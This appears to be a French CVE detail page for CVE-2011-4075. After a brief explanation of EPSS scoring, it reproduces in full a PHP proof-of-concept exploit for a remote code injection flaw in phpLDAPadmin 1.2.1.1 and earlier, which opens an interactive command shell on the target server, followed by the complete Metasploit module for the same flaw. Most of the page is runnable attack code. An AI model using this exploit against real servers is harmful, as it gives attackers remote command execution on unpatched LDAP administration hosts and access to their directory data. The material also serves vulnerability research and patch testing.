CVE-2011-4075 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<?php /* ------------------------------------------------------------------------ phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit ------------------------------------------------------------------------ author...............: EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://phpldapadmin.sourceforge.net/ affected versions....: from 1.2.0 to 1.2.1.1 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /lib/functions.php 1002. function masort(&$data,$sortby,$rev=0) { 1003. if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS')) 1004. debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs); 1005. 1006. # if the array to sort is null or empty 1007. if (! $data) return; 1008. 1009. static $CACHE = array(); 1010. 1011. if (empty($CACHE[$sortby])) { 1012. $code = "\$c=0;\n"; 1013. 1014. foreach (explode(',',$sortby) as $key) { 1015. $code .= "if (is_object(\$a) || is_object(\$b)) {\n"; 1016. 1017. $code .= " if (is_array(\$a->$key)) {\n"; 1018. $code .= " asort(\$a->$key);\n"; 1019. $code .= " \$aa = array_shift(\$a->$key);\n"; .... 1078. $code .= 'return $c;'; 1079. 1080. $CACHE[$sortby] = create_function('$a, $b',$code); 1081. } The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function() at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function. [-] Disclosure timeline: [30/09/2011] - Vulnerability discovered [02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184 [05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad [23/10/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+-------------------------------------------------------------------+"; print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |"; print "\n+-------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n"); $phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*"; $payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}"; $packet = "POST {$path}cmd.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; while(1) { print "\nphpldapadmin-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>

## # $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Payload::Php def initialize(info = {}) super(update_info(info, 'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in the lib/functions.php that allows attackers input parsed directly to the create_function() php function. A patch was issued that uses a whitelist regex expression to check the user supplied input before being parsed to the create_function() call. }, 'Author' => [ 'EgiX <n0b0d13s[at]gmail-com>', # original discovery/poc 'mr_me <steventhomasseeley[at]gmail-com>', # msf 'TecR0c <roccogiovannicalvi[at]gmail-com >', # msf ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 14060 $', 'References' => [ ['BID', '50331'], ['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'], ['URL', 'http://www.exploit-db.com/exploits/18021/'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 4000, 'Keys' => ['php'], }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Oct 24 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]), ], self.class) end def check uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'index.php' res = send_request_raw( { 'method' => 'GET', 'uri' => uri, }, 3) if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def get_session uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'index.php' res = send_request_raw( { 'method' => 'GET', 'uri' => uri, }, 3) if (not res.headers['Set-Cookie']) print_error("Could not generate a valid session") return end return res.headers['Set-Cookie'] end def cleanup # We may not be using php/exe again, so clear the CMD option if datastore['CMD'] datastore['CMD'] = nil end end def exploit # if we are using the exec CMD stager # important to check which php functions are disabled if datastore['CMD'] cmd = Rex::Text.encode_base64(datastore['CMD']) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE $c = base64_decode("#{cmd}"); #{php_preamble({:disabled_varname => dis})} #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})} echo #{out}; END_OF_PHP_CODE p = Rex::Text.encode_base64(Rex::Text.compress(shell)) else p = Rex::Text.encode_base64(payload.encoded) end # Generate some random strings hidden_header = rand_text_alpha_upper(6) fake_func_name = rand_text_alpha_upper(2) # build sttack string php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*" data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n" session = get_session uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'cmd.php' res = send_request_cgi( { 'method' => 'POST', 'uri' => uri, 'data' => data, 'headers' => { "#{hidden_header}" => p, 'Cookie' => session, 'Connection' => 'Close', }, }, 3) print_status("%s" % res.body) if datastore['CMD'] end end